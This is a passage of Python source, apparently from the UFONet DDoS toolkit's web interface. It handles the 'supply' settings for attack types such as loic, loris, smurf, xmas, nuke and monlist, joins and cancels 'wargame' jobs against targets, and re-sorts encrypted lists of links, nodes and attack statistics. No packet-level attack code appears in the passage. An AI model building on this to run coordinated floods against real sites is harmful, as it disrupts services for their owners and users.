  4216. supply_sniper = pGet["sniper"]
  4217. supply_ufoack = pGet["ufoack"]
  4218. supply_uforst = pGet["uforst"]
  4219. supply_droper = pGet["droper"]
  4220. supply_overlap = pGet["overlap"]
  4221. supply_pinger = pGet["pinger"]
  4222. supply_ufoudp = pGet["ufoudp"]
  4223. except: # default global supply army
  4224. supply_botnet = 1
  4225. supply_loic = 0
  4226. supply_loris = 0
  4227. supply_ufosyn = 0
  4228. supply_spray = 0
  4229. supply_smurf = 0
  4230. supply_xmas = 0
  4231. supply_nuke = 0
  4232. supply_tachyon = 0
  4233. supply_monlist = 0
  4234. supply_fraggle = 0
  4235. supply_sniper = 0
  4236. supply_ufoack = 0
  4237. supply_uforst = 0
  4238. supply_droper = 0
  4239. supply_overlap = 0
  4240. supply_pinger = 0
  4241. supply_ufoudp = 0
  4242. with open(self.mothership_supplycfg_file, "w") as f:
  4243. json.dump({"botnet": supply_botnet, "loic": supply_loic, "loris": supply_loris, "ufosyn": supply_ufosyn, "spray": supply_spray, "smurf": supply_smurf, "xmas": supply_xmas, "nuke": supply_nuke, "tachyon": supply_tachyon, "monlist": supply_monlist, "fraggle": supply_fraggle, "sniper": supply_sniper, "ufoack": supply_ufoack, "uforst": supply_uforst, "droper": supply_droper, "overlap": supply_overlap, "pinger": supply_pinger, "ufoudp": supply_ufoudp}, f, indent=4)
  4244. if page == "/cmd_job_add":
  4245. self.pages["/cmd_job_add"] = "<pre>Adding wargame to your list...</pre>"
  4246. try:
  4247. job_params = pGet["id"]
  4248. sep = ","
  4249. job_id = job_params.rsplit(sep, 1)[0]
  4250. except:
  4251. job_id = ""
  4252. if job_id is not "":
  4253. self.list_wargames.reverse()
  4254. try:
  4255. job_task = self.list_wargames[(int(job_id)-1)]
  4256. f = open(self.wargames_file,"r")
  4257. ls = f.readlines()
  4258. f.close()
  4259. f = open(self.wargames_file,"w")
  4260. sep = wargames_msg_sep
  4261. for l in ls:
  4262. if str(l) != str(job_task):
  4263. f.write(l)
  4264. else:
  4265. job_t2 = job_task.rsplit(sep, 1)[0]
  4266. job_creation = job_t2.rsplit(sep, 1)[0]
  4267. job_target = job_t2.rsplit(sep, 1)[1]
  4268. job_estimated = job_task.rsplit(sep, 1)[1]
  4269. l = str(job_creation) + wargames_msg_sep + str(job_target) + "!!!#-#" + str(job_estimated) # '!!!' target marked as job
  4270. f.write(l)
  4271. f.close()
  4272. except:
  4273. pass
  4274. if page == "/cmd_job_add_update":
  4275. if not os.path.exists('/tmp/out'):
  4276. open('/tmp/out', 'w').close()
  4277. with open('/tmp/out', 'r') as f:
  4278. self.pages["/cmd_job_add_update"] = "<pre>"+f.read()+"<pre>"
  4279. if page == "/cmd_job_add_all":
  4280. self.pages["/cmd_job_add_all"] = "<pre>Engaging ALL -ONGOING- wargames... ;-)</pre>"
  4281. try:
  4282. self.list_wargames.reverse()
  4283. f = open(self.wargames_file,"r")
  4284. ls = f.readlines()
  4285. f.close()
  4286. f = open(self.wargames_file,"w")
  4287. sep = wargames_msg_sep
  4288. for l in ls:
  4289. job_t2 = l.rsplit(sep, 1)[0]
  4290. job_creation = job_t2.rsplit(sep, 1)[0]
  4291. job_target = job_t2.rsplit(sep, 1)[1]
  4292. job_estimated = l.rsplit(sep, 1)[1]
  4293. if not "!!!" in job_target:
  4294. l = str(job_creation) + wargames_msg_sep + str(job_target) + "!!!#-#" + str(job_estimated)
  4295. else:
  4296. l = str(job_creation) + wargames_msg_sep + str(job_target) + wargames_msg_sep + str(job_estimated)
  4297. f.write(l)
  4298. f.close()
  4299. except:
  4300. pass
  4301. if page == "/cmd_job_add_all_update":
  4302. if not os.path.exists('/tmp/out'):
  4303. open('/tmp/out', 'w').close()
  4304. with open('/tmp/out', 'r') as f:
  4305. self.pages["/cmd_job_add_all_update"] = "<pre>"+f.read()+"<pre>"
  4306. if page == "/cmd_job_cancel":
  4307. self.pages["/cmd_job_cancel"] = "<pre>Canceling wargame from your list...</pre>"
  4308. try:
  4309. job_params = pGet["id"]
  4310. sep = ","
  4311. job_id = job_params.rsplit(sep, 1)[0]
  4312. except:
  4313. job_id = ""
  4314. if job_id is not "":
  4315. self.list_wargames.reverse()
  4316. try:
  4317. job_task = self.list_wargames[(int(job_id)-1)]
  4318. f = open(self.wargames_file,"r")
  4319. ls = f.readlines()
  4320. f.close()
  4321. f = open(self.wargames_file,"w")
  4322. for l in ls:
  4323. if str(l) != str(job_task):
  4324. f.write(l)
  4325. else:
  4326. sep = wargames_msg_sep
  4327. job_t2 = job_task.rsplit(sep, 1)[0]
  4328. job_creation = job_t2.rsplit(sep, 1)[0]
  4329. job_target = job_t2.rsplit(sep, 1)[1]
  4330. job_target = job_target.replace("!!!","") # undo target marked as job (unjob)
  4331. job_estimated = job_task.rsplit(sep, 1)[1]
  4332. l = str(job_creation) + wargames_msg_sep + str(job_target) + wargames_msg_sep + str(job_estimated)
  4333. f.write(l)
  4334. f.close()
  4335. except:
  4336. pass
  4337. if page == "/cmd_job_cancel_update":
  4338. if not os.path.exists('/tmp/out'):
  4339. open('/tmp/out', 'w').close()
  4340. with open('/tmp/out', 'r') as f:
  4341. self.pages["/cmd_job_cancel_update"] = "<pre>"+f.read()+"<pre>"
  4342. if page == "/cmd_job_cancel_all":
  4343. self.pages["/cmd_job_cancel_all"] = "<pre>Canceling ALL -JOINED- wargames from your list...</pre>"
  4344. try:
  4345. self.list_wargames.reverse()
  4346. f = open(self.wargames_file,"r")
  4347. ls = f.readlines()
  4348. f.close()
  4349. f = open(self.wargames_file,"w")
  4350. sep = wargames_msg_sep
  4351. for l in ls:
  4352. job_t2 = l.rsplit(sep, 1)[0]
  4353. job_creation = job_t2.rsplit(sep, 1)[0]
  4354. job_target = job_t2.rsplit(sep, 1)[1]
  4355. job_target = job_target.replace("!!!","") # undo target marked as job (unjob)
  4356. job_estimated = l.rsplit(sep, 1)[1]
  4357. l = str(job_creation) + wargames_msg_sep + str(job_target) + wargames_msg_sep + str(job_estimated)
  4358. f.write(l)
  4359. f.close()
  4360. except:
  4361. pass
  4362. if page == "/cmd_job_cancel_all_update":
  4363. if not os.path.exists('/tmp/out'):
  4364. open('/tmp/out', 'w').close()
  4365. with open('/tmp/out', 'r') as f:
  4366. self.pages["/cmd_job_cancel_all_update"] = "<pre>"+f.read()+"<pre>"
  4367. if page == "/cmd_job_filter":
  4368. try:
  4369. job_filter = pGet["filter"]
  4370. job_key = pGet["key"]
  4371. except:
  4372. job_filter = "creation"
  4373. job_key = str(self.crypto_key)
  4374. self.pages["/cmd_job_filter"] = "<pre>Ordering wargames by: "+job_filter+"</pre>"
  4375. nodec_text = "KEY?"
  4376. try:
  4377. wargames_items=[]
  4378. with open(self.wargames_file) as f:
  4379. ls = f.read().splitlines()
  4380. f.close()
  4381. f = open(self.wargames_file,"w")
  4382. for j in ls:
  4383. if wargames_msg_sep in j:
  4384. m = j.split(wargames_msg_sep)
  4385. wargames_creation = m[0] # creation date
  4386. self.decrypt(job_key, wargames_creation)
  4387. if self.decryptedtext:
  4388. wargames_creation = self.decryptedtext
  4389. else:
  4390. wargames_creation = nodec_text
  4391. self.decryptedtext = "" # clean decryptedtext buffer
  4392. wargames_target = m[1] # target
  4393. self.decrypt(job_key, wargames_target)
  4394. if self.decryptedtext:
  4395. wargames_target = self.decryptedtext
  4396. if wargames_target.startswith("www."):
  4397. wargames_target = wargames_target.replace("www.","")
  4398. else:
  4399. wargames_target = nodec_text
  4400. self.decryptedtext = "" # clean decryptedtext buffer
  4401. wargames_estimated = m[2] # estimated date
  4402. self.decrypt(job_key, wargames_estimated)
  4403. if self.decryptedtext:
  4404. wargames_estimated = self.decryptedtext
  4405. else:
  4406. wargames_estimated = nodec_text
  4407. self.decryptedtext = "" # clean decryptedtext buffer
  4408. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  4409. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  4410. wargames_items.append([wargames_creation,wargames_target,wargames_estimated])
  4411. if job_filter == "creation":
  4412. wargames_items=sorted(wargames_items,key=lambda x:x[0]) # sorted by creation
  4413. elif job_filter == "target":
  4414. wargames_items=sorted(wargames_items,key=lambda x:x[1]) # sorted by target
  4415. elif job_filter == "estimated":
  4416. wargames_items=sorted(wargames_items,key=lambda x:x[2]) # sorted by estimated
  4417. else:
  4418. wargames_items=sorted(wargames_items,key=lambda x:x[0]) # sorted by creation
  4419. for i in wargames_items:
  4420. wargames_creation = i[0]
  4421. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  4422. self.encrypt(job_key, wargames_creation)
  4423. if self.encryptedtext:
  4424. wargames_creation = self.encryptedtext
  4425. self.encryptedtext = "" # clean encryptedtext buffer
  4426. wargames_target = str(i[1])
  4427. self.encrypt(job_key, wargames_target)
  4428. if self.encryptedtext:
  4429. wargames_target = self.encryptedtext
  4430. self.encryptedtext = "" # clean encryptedtext buffer
  4431. wargames_estimated = i[2]
  4432. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  4433. self.encrypt(job_key, wargames_estimated)
  4434. if self.encryptedtext:
  4435. wargames_estimated = self.encryptedtext
  4436. self.encryptedtext = "" # clean encryptedtext buffer
  4437. l = str(wargames_creation) + wargames_msg_sep + str(wargames_target) + wargames_msg_sep + str(wargames_estimated)
  4438. f.write(l + os.linesep)
  4439. f.close()
  4440. except:
  4441. pass
  4442. if page == "/cmd_job_filter_update":
  4443. if not os.path.exists('/tmp/out'):
  4444. open('/tmp/out', 'w').close()
  4445. with open('/tmp/out', 'r') as f:
  4446. self.pages["/cmd_job_filter_update"] = "<pre>"+f.read()+"<pre>"
  4447. if page == "/cmd_link_filter":
  4448. try:
  4449. link_filter = pGet["filter"]
  4450. link_key = pGet["key"]
  4451. except:
  4452. link_filter = "creation"
  4453. link_key = str(self.crypto_key)
  4454. self.pages["/cmd_link_filter"] = "<pre>Ordering links by: "+link_filter+"</pre>"
  4455. nodec_text = "KEY?"
  4456. try:
  4457. links_items=[]
  4458. with open(self.links_file) as f:
  4459. ls = f.read().splitlines()
  4460. f.close()
  4461. f = open(self.links_file,"w")
  4462. for j in ls:
  4463. if links_msg_sep in j:
  4464. m = j.split(links_msg_sep)
  4465. link_creation = m[0] # creation date
  4466. self.decrypt(link_key, link_creation)
  4467. if self.decryptedtext:
  4468. link_creation = self.decryptedtext
  4469. else:
  4470. link_creation = nodec_text
  4471. self.decryptedtext = "" # clean decryptedtext buffer
  4472. link_url = m[1] # url
  4473. self.decrypt(link_key, link_url)
  4474. if self.decryptedtext:
  4475. link_url = self.decryptedtext
  4476. if link_url.startswith("www."):
  4477. link_url = link_url.replace("www.","")
  4478. else:
  4479. link_url = nodec_text
  4480. self.decryptedtext = "" # clean decryptedtext buffer
  4481. link_topic = m[2] # topic
  4482. self.decrypt(link_key, link_topic)
  4483. if self.decryptedtext:
  4484. link_topic = self.decryptedtext
  4485. else:
  4486. link_topic = nodec_text
  4487. self.decryptedtext = "" # clean decryptedtext buffer
  4488. link_creation = strptime(link_creation, "%d-%m-%Y %H:%M:%S")
  4489. links_items.append([link_creation,link_url,link_topic])
  4490. if link_filter == "creation":
  4491. links_items=sorted(links_items,key=lambda x:x[0]) # sorted by creation
  4492. elif link_filter == "url":
  4493. links_items=sorted(links_items,key=lambda x:x[1]) # sorted by url
  4494. elif link_filter == "topic":
  4495. links_items=sorted(links_items,key=lambda x:x[2]) # sorted by topic
  4496. else:
  4497. links_items=sorted(links_items,key=lambda x:x[0]) # sorted by creation
  4498. for i in links_items:
  4499. link_creation = i[0]
  4500. link_creation = strftime("%d-%m-%Y %H:%M:%S", link_creation)
  4501. self.encrypt(link_key, link_creation)
  4502. if self.encryptedtext:
  4503. link_creation = self.encryptedtext
  4504. else:
  4505. link_creation = nodec_text
  4506. self.encryptedtext = "" # clean encryptedtext buffer
  4507. link_url = str(i[1])
  4508. self.encrypt(link_key, link_url)
  4509. if self.encryptedtext:
  4510. link_url = self.encryptedtext
  4511. else:
  4512. link_url = nodec_text
  4513. self.encryptedtext = "" # clean encryptedtext buffer
  4514. link_topic = str(i[2])
  4515. self.encrypt(link_key, link_topic)
  4516. if self.encryptedtext:
  4517. link_topic = self.encryptedtext
  4518. else:
  4519. link_topic = nodec_text
  4520. self.encryptedtext = "" # clean encryptedtext buffer
  4521. l = str(link_creation) + links_msg_sep + str(link_url) + links_msg_sep + str(link_topic)
  4522. f.write(l + os.linesep)
  4523. f.close()
  4524. except:
  4525. pass
  4526. if page == "/cmd_link_filter_update":
  4527. if not os.path.exists('/tmp/out'):
  4528. open('/tmp/out', 'w').close()
  4529. with open('/tmp/out', 'r') as f:
  4530. self.pages["/cmd_link_filter_update"] = "<pre>"+f.read()+"<pre>"
  4531. if page == "/cmd_stream_filter":
  4532. try:
  4533. stream_filter = pGet["filter"]
  4534. stream_key = pGet["key"]
  4535. except:
  4536. stream_filter = "creation"
  4537. stream_key = str(self.crypto_key)
  4538. self.pages["/cmd_stream_filter"] = "<pre>Ordering streams by: "+stream_filter+"</pre>"
  4539. nodec_text = "KEY?"
  4540. try:
  4541. streams_items=[]
  4542. with open(self.streams_file) as f:
  4543. ls = f.read().splitlines()
  4544. f.close()
  4545. f = open(self.streams_file,"w")
  4546. for j in ls:
  4547. if streams_msg_sep in j:
  4548. m = j.split(streams_msg_sep)
  4549. stream_creation = m[0] # creation date
  4550. self.decrypt(stream_key, stream_creation)
  4551. if self.decryptedtext:
  4552. stream_creation = self.decryptedtext
  4553. else:
  4554. stream_creation = nodec_text
  4555. self.decryptedtext = "" # clean decryptedtext buffer
  4556. stream_url = m[1] # url
  4557. self.decrypt(stream_key, stream_url)
  4558. if self.decryptedtext:
  4559. stream_url = self.decryptedtext
  4560. if stream_url.startswith("www."):
  4561. stream_url = stream_url.replace("www.","")
  4562. else:
  4563. stream_url = nodec_text
  4564. self.decryptedtext = "" # clean decryptedtext buffer
  4565. stream_topic = m[2] # topic
  4566. self.decrypt(stream_key, stream_topic)
  4567. if self.decryptedtext:
  4568. stream_topic = self.decryptedtext
  4569. else:
  4570. stream_topic = nodec_text
  4571. self.decryptedtext = "" # clean decryptedtext buffer
  4572. stream_creation = strptime(stream_creation, "%d-%m-%Y %H:%M:%S")
  4573. streams_items.append([stream_creation,stream_url,stream_topic])
  4574. if stream_filter == "creation":
  4575. streams_items=sorted(streams_items,key=lambda x:x[0]) # sorted by creation
  4576. elif stream_filter == "url":
  4577. streams_items=sorted(streams_items,key=lambda x:x[1]) # sorted by url
  4578. elif stream_filter == "topic":
  4579. streams_items=sorted(streams_items,key=lambda x:x[2]) # sorted by topic
  4580. else:
  4581. streams_items=sorted(streams_items,key=lambda x:x[0]) # sorted by creation
  4582. for i in streams_items:
  4583. stream_creation = i[0]
  4584. stream_creation = strftime("%d-%m-%Y %H:%M:%S", stream_creation)
  4585. self.encrypt(stream_key, stream_creation)
  4586. if self.encryptedtext:
  4587. stream_creation = self.encryptedtext
  4588. else:
  4589. stream_creation = nodec_text
  4590. self.encryptedtext = "" # clean encryptedtext buffer
  4591. stream_url = str(i[1])
  4592. self.encrypt(stream_key, stream_url)
  4593. if self.encryptedtext:
  4594. stream_url = self.encryptedtext
  4595. else:
  4596. stream_url = nodec_text
  4597. self.encryptedtext = "" # clean encryptedtext buffer
  4598. stream_topic = str(i[2])
  4599. self.encrypt(stream_key, stream_topic)
  4600. if self.encryptedtext:
  4601. stream_topic = self.encryptedtext
  4602. else:
  4603. stream_topic = nodec_text
  4604. self.encryptedtext = "" # clean encryptedtext buffer
  4605. l = str(stream_creation) + streams_msg_sep + str(stream_url) + streams_msg_sep + str(stream_topic)
  4606. f.write(l + os.linesep)
  4607. f.close()
  4608. except:
  4609. pass
  4610. if page == "/cmd_stream_filter_update":
  4611. if not os.path.exists('/tmp/out'):
  4612. open('/tmp/out', 'w').close()
  4613. with open('/tmp/out', 'r') as f:
  4614. self.pages["/cmd_stream_filter_update"] = "<pre>"+f.read()+"<pre>"
  4615. if page == "/cmd_globalnet_filter":
  4616. try:
  4617. globalnet_filter = pGet["filter"]
  4618. globalnet_key = pGet["key"]
  4619. except:
  4620. globalnet_filter = "owner"
  4621. globalnet_key = str(self.crypto_key)
  4622. self.pages["/cmd_globalnet_filter"] = "<pre>Ordering Global.Net by: "+globalnet_filter+"</pre>"
  4623. nodec_text = "KEY?"
  4624. try:
  4625. globalnet_items=[]
  4626. with open(self.globalnet_file) as f:
  4627. ls = f.read().splitlines()
  4628. f.close()
  4629. f = open(self.globalnet_file,"w")
  4630. for j in ls:
  4631. if globalnet_msg_sep in j:
  4632. m = j.split(globalnet_msg_sep)
  4633. globalnet_owner = m[0] # owner
  4634. self.decrypt(globalnet_key, globalnet_owner)
  4635. if self.decryptedtext:
  4636. globalnet_owner = self.decryptedtext
  4637. else:
  4638. globalnet_owner = nodec_text
  4639. self.decryptedtext = "" # clean decryptedtext buffer
  4640. globalnet_comment = m[1] # comment
  4641. self.decrypt(globalnet_key, globalnet_comment)
  4642. if self.decryptedtext:
  4643. globalnet_comment = self.decryptedtext
  4644. else:
  4645. globalnet_comment = nodec_text
  4646. self.decryptedtext = "" # clean decryptedtext buffer
  4647. globalnet_warp = m[2] # warp
  4648. self.decrypt(globalnet_key, globalnet_warp)
  4649. if self.decryptedtext:
  4650. globalnet_warp = self.decryptedtext
  4651. else:
  4652. globalnet_warp = nodec_text
  4653. self.decryptedtext = "" # clean decryptedtext buffer
  4654. globalnet_ip = m[3] # ip
  4655. self.decrypt(globalnet_key, globalnet_ip)
  4656. if self.decryptedtext:
  4657. globalnet_ip = self.decryptedtext
  4658. else:
  4659. globalnet_ip = nodec_text
  4660. self.decryptedtext = "" # clean decryptedtext buffer
  4661. globalnet_items.append([globalnet_owner,globalnet_comment,globalnet_warp,globalnet_ip])
  4662. if globalnet_filter == "owner":
  4663. globalnet_items=sorted(globalnet_items,key=lambda x:x[0]) # sorted by owner
  4664. elif globalnet_filter == "comment":
  4665. globalnet_items=sorted(globalnet_items,key=lambda x:x[1]) # sorted by comment
  4666. elif globalnet_filter == "warp":
  4667. globalnet_items=sorted(globalnet_items,key=lambda x:x[2]) # sorted by warp
  4668. elif globalnet_filter == "ip":
  4669. globalnet_items=sorted(globalnet_items,key=lambda x:x[3]) # sorted by ip
  4670. else:
  4671. globalnet_items=sorted(globalnet_items,key=lambda x:x[0]) # sorted by owner
  4672. for i in globalnet_items:
  4673. globalnet_owner = str(i[0])
  4674. self.encrypt(globalnet_key, globalnet_owner)
  4675. if self.encryptedtext:
  4676. globalnet_owner = self.encryptedtext
  4677. else:
  4678. globalnet_owner = nodec_text
  4679. self.encryptedtext = "" # clean encryptedtext buffer
  4680. globalnet_comment = str(i[1])
  4681. self.encrypt(globalnet_key, globalnet_comment)
  4682. if self.encryptedtext:
  4683. globalnet_comment = self.encryptedtext
  4684. else:
  4685. globalnet_comment = nodec_text
  4686. self.encryptedtext = "" # clean encryptedtext buffer
  4687. globalnet_warp = str(i[2])
  4688. self.encrypt(globalnet_key, globalnet_warp)
  4689. if self.encryptedtext:
  4690. globalnet_warp = self.encryptedtext
  4691. else:
  4692. globalnet_warp = nodec_text
  4693. self.encryptedtext = "" # clean encryptedtext buffer
  4694. globalnet_ip = str(i[3])
  4695. self.encrypt(globalnet_key, globalnet_ip)
  4696. if self.encryptedtext:
  4697. globalnet_ip = self.encryptedtext
  4698. else:
  4699. globalnet_ip = nodec_text
  4700. self.encryptedtext = "" # clean encryptedtext buffer
  4701. l = str(globalnet_owner) + globalnet_msg_sep + str(globalnet_comment) + globalnet_msg_sep + str(globalnet_warp) + globalnet_msg_sep + str(globalnet_ip)
  4702. f.write(l + os.linesep)
  4703. f.close()
  4704. except:
  4705. pass
  4706. if page == "/cmd_globalnet_filter_update":
  4707. if not os.path.exists('/tmp/out'):
  4708. open('/tmp/out', 'w').close()
  4709. with open('/tmp/out', 'r') as f:
  4710. self.pages["/cmd_globalnet_filter_update"] = "<pre>"+f.read()+"<pre>"
  4711. if page == "/cmd_grid_filter":
  4712. try:
  4713. grid_filter = pGet["filter"]
  4714. grid_key = pGet["key"]
  4715. except:
  4716. grid_filter = "missions" # default grid order by
  4717. grid_key = str(self.crypto_key)
  4718. self.pages["/cmd_grid_filter"] = "<pre>Ordering grid by: "+grid_filter+"</pre>"
  4719. nodec_text = "KEY?"
  4720. nodec_num = 0
  4721. try:
  4722. grid_items=[]
  4723. with open(self.grid_file) as f:
  4724. ls = f.read().splitlines()
  4725. f.close()
  4726. f = open(self.grid_file,"w")
  4727. for j in ls:
  4728. if grid_msg_sep in j:
  4729. version = j.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1|13->1.2)
  4730. m = j.split(grid_msg_sep)
  4731. grid_nickname = m[0] # nickname
  4732. self.decrypt(grid_key, grid_nickname)
  4733. if self.decryptedtext:
  4734. grid_nickname = str(self.decryptedtext)
  4735. else:
  4736. grid_nickname = nodec_text
  4737. self.decryptedtext = "" # clean decryptedtext buffer
  4738. grid_ranking = m[1] # ranking
  4739. self.decrypt(grid_key, grid_ranking)
  4740. if self.decryptedtext:
  4741. try:
  4742. grid_ranking = int(self.decryptedtext)
  4743. except:
  4744. grid_ranking = nodec_num
  4745. else:
  4746. grid_ranking = nodec_num
  4747. self.decryptedtext = "" # clean decryptedtext buffer
  4748. grid_totalchargo = m[2] # total chargo
  4749. self.decrypt(grid_key, grid_totalchargo)
  4750. if self.decryptedtext:
  4751. try:
  4752. grid_totalchargo = int(self.decryptedtext)
  4753. except:
  4754. grid_totalchargo = nodec_num
  4755. else:
  4756. grid_totalchargo = nodec_num
  4757. self.decryptedtext = "" # clean decryptedtext buffer
  4758. grid_dorking = m[3] # dorking
  4759. self.decrypt(grid_key, grid_dorking)
  4760. if self.decryptedtext:
  4761. try:
  4762. grid_dorking = int(self.decryptedtext)
  4763. except:
  4764. grid_dorking = nodec_num
  4765. else:
  4766. grid_dorking = nodec_num
  4767. self.decryptedtext = "" # clean decryptedtext buffer
  4768. grid_transferred = m[4] # transferred
  4769. self.decrypt(grid_key, grid_transferred)
  4770. if self.decryptedtext:
  4771. try:
  4772. grid_transferred = int(self.decryptedtext)
  4773. except:
  4774. grid_transferred = nodec_num
  4775. else:
  4776. grid_transferred = nodec_num
  4777. self.decryptedtext = "" # clean decryptedtext buffer
  4778. grid_maxchargo = m[5] # maxchargo
  4779. self.decrypt(grid_key, grid_maxchargo)
  4780. if self.decryptedtext:
  4781. try:
  4782. grid_maxchargo = int(self.decryptedtext)
  4783. except:
  4784. grid_maxchargo = nodec_num
  4785. else:
  4786. grid_maxchargo = nodec_num
  4787. self.decryptedtext = "" # clean decryptedtext buffer
  4788. grid_missions = m[6] # missions
  4789. self.decrypt(grid_key, grid_missions)
  4790. if self.decryptedtext:
  4791. try:
  4792. grid_missions = int(self.decryptedtext)
  4793. except:
  4794. grid_missions = nodec_num
  4795. else:
  4796. grid_missions = nodec_num
  4797. self.decryptedtext = "" # clean decryptedtext buffer
  4798. grid_attacks = m[7] # attacks
  4799. self.decrypt(grid_key, grid_attacks)
  4800. if self.decryptedtext:
  4801. try:
  4802. grid_attacks = int(self.decryptedtext)
  4803. except:
  4804. grid_attacks = nodec_num
  4805. else:
  4806. grid_attacks = nodec_num
  4807. self.decryptedtext = "" # clean decryptedtext buffer
  4808. grid_loic = m[8] # loic
  4809. self.decrypt(grid_key, grid_loic)
  4810. if self.decryptedtext:
  4811. try:
  4812. grid_loic = int(self.decryptedtext)
  4813. except:
  4814. grid_loic = nodec_num
  4815. else:
  4816. grid_loic = nodec_num
  4817. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12 or version == 11:
  4818. grid_loris = m[9] # loris
  4819. self.decrypt(grid_key, grid_loris)
  4820. if self.decryptedtext:
  4821. try:
  4822. grid_loris = int(self.decryptedtext)
  4823. except:
  4824. grid_loris = nodec_num
  4825. else:
  4826. grid_loris = nodec_num
  4827. self.decryptedtext = "" # clean decryptedtext buffer
  4828. else:
  4829. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not loris present
  4830. self.decrypt(grid_key, grid_loris)
  4831. if self.decryptedtext:
  4832. try:
  4833. grid_loris = int(self.decryptedtext)
  4834. except:
  4835. grid_loris = nodec_num
  4836. else:
  4837. grid_loris = nodec_num
  4838. self.decryptedtext = "" # clean decryptedtext buffer
  4839. if version > 17 or version == 17 or version == 16 or version == 15 or version == 12:
  4840. grid_ufosyn = m[10] # ufosyn
  4841. self.decrypt(grid_key, grid_ufosyn)
  4842. if self.decryptedtext:
  4843. try:
  4844. grid_ufosyn = int(self.decryptedtext)
  4845. except:
  4846. grid_ufosyn = nodec_num
  4847. else:
  4848. grid_ufosyn = nodec_num
  4849. self.decryptedtext = "" # clean decryptedtext buffer
  4850. else:
  4851. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
  4852. self.decrypt(grid_key, grid_ufosyn)
  4853. if self.decryptedtext:
  4854. try:
  4855. grid_ufosyn = int(self.decryptedtext)
  4856. except:
  4857. grid_ufosyn = nodec_num
  4858. else:
  4859. grid_ufosyn = nodec_num
  4860. self.decryptedtext = "" # clean decryptedtext buffer
  4861. if version > 17 or version == 17 or version == 16 or version == 15:
  4862. grid_spray = m[11] # spray
  4863. self.decrypt(grid_key, grid_spray)
  4864. if self.decryptedtext:
  4865. try:
  4866. grid_spray = int(self.decryptedtext)
  4867. except:
  4868. grid_spray = nodec_num
  4869. else:
  4870. grid_spray = nodec_num
  4871. self.decryptedtext = "" # clean decryptedtext buffer
  4872. else:
  4873. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
  4874. self.decrypt(grid_key, grid_spray)
  4875. if self.decryptedtext:
  4876. try:
  4877. grid_spray = int(self.decryptedtext)
  4878. except:
  4879. grid_spray = nodec_num
  4880. else:
  4881. grid_spray = nodec_num
  4882. self.decryptedtext = "" # clean decryptedtext buffer
  4883. if version > 17 or version == 17 or version == 16 or version == 15:
  4884. grid_smurf = m[12] # smurf
  4885. self.decrypt(grid_key, grid_smurf)
  4886. if self.decryptedtext:
  4887. try:
  4888. grid_smurf = int(self.decryptedtext)
  4889. except:
  4890. grid_smurf = nodec_num
  4891. else:
  4892. grid_smurf = nodec_num
  4893. self.decryptedtext = "" # clean decryptedtext buffer
  4894. else:
  4895. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
  4896. self.decrypt(grid_key, grid_smurf)
  4897. if self.decryptedtext:
  4898. try:
  4899. grid_smurf = int(self.decryptedtext)
  4900. except:
  4901. grid_smurf = nodec_num
  4902. else:
  4903. grid_smurf = nodec_num
  4904. self.decryptedtext = "" # clean decryptedtext buffer
  4905. if version > 17 or version == 17 or version == 16 or version == 15:
  4906. grid_xmas = m[13] # xmas
  4907. self.decrypt(grid_key, grid_xmas)
  4908. if self.decryptedtext:
  4909. try:
  4910. grid_xmas = int(self.decryptedtext)
  4911. except:
  4912. grid_xmas = nodec_num
  4913. else:
  4914. grid_xmas = nodec_num
  4915. self.decryptedtext = "" # clean decryptedtext buffer
  4916. else:
  4917. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
  4918. self.decrypt(grid_key, grid_xmas)
  4919. if self.decryptedtext:
  4920. try:
  4921. grid_xmas = int(self.decryptedtext)
  4922. except:
  4923. grid_xmas = nodec_num
  4924. else:
  4925. grid_xmas = nodec_num
  4926. self.decryptedtext = "" # clean decryptedtext buffer
  4927. if version > 17 or version == 17 or version == 16:
  4928. grid_nuke = m[14] # nuke
  4929. self.decrypt(grid_key, grid_nuke)
  4930. if self.decryptedtext:
  4931. try:
  4932. grid_nuke = int(self.decryptedtext)
  4933. except:
  4934. grid_nuke = nodec_num
  4935. else:
  4936. grid_nuke = nodec_num
  4937. self.decryptedtext = "" # clean decryptedtext buffer
  4938. else:
  4939. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
  4940. self.decrypt(grid_key, grid_nuke)
  4941. if self.decryptedtext:
  4942. try:
  4943. grid_nuke = int(self.decryptedtext)
  4944. except:
  4945. grid_nuke = nodec_num
  4946. else:
  4947. grid_nuke = nodec_num
  4948. self.decryptedtext = "" # clean decryptedtext buffer
  4949. if version > 17 or version == 17:
  4950. grid_tachyon = m[15] # tachyon
  4951. self.decrypt(grid_key, grid_tachyon)
  4952. if self.decryptedtext:
  4953. try:
  4954. grid_tachyon = int(self.decryptedtext)
  4955. except:
  4956. grid_tachyon = nodec_num
  4957. else:
  4958. grid_tachyon = nodec_num
  4959. self.decryptedtext = "" # clean decryptedtext buffer
  4960. else:
  4961. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not tachyon present
  4962. self.decrypt(grid_key, grid_tachyon)
  4963. if self.decryptedtext:
  4964. try:
  4965. grid_tachyon = int(self.decryptedtext)
  4966. except:
  4967. grid_tachyon = nodec_num
  4968. else:
  4969. grid_tachyon = nodec_num
  4970. self.decryptedtext = "" # clean decryptedtext buffer
  4971. if version > 17: # current version = 26
  4972. grid_monlist = m[16] # monlist
  4973. self.decrypt(grid_key, grid_monlist)
  4974. if self.decryptedtext:
  4975. try:
  4976. grid_monlist = int(self.decryptedtext)
  4977. except:
  4978. grid_monlist = nodec_num
  4979. else:
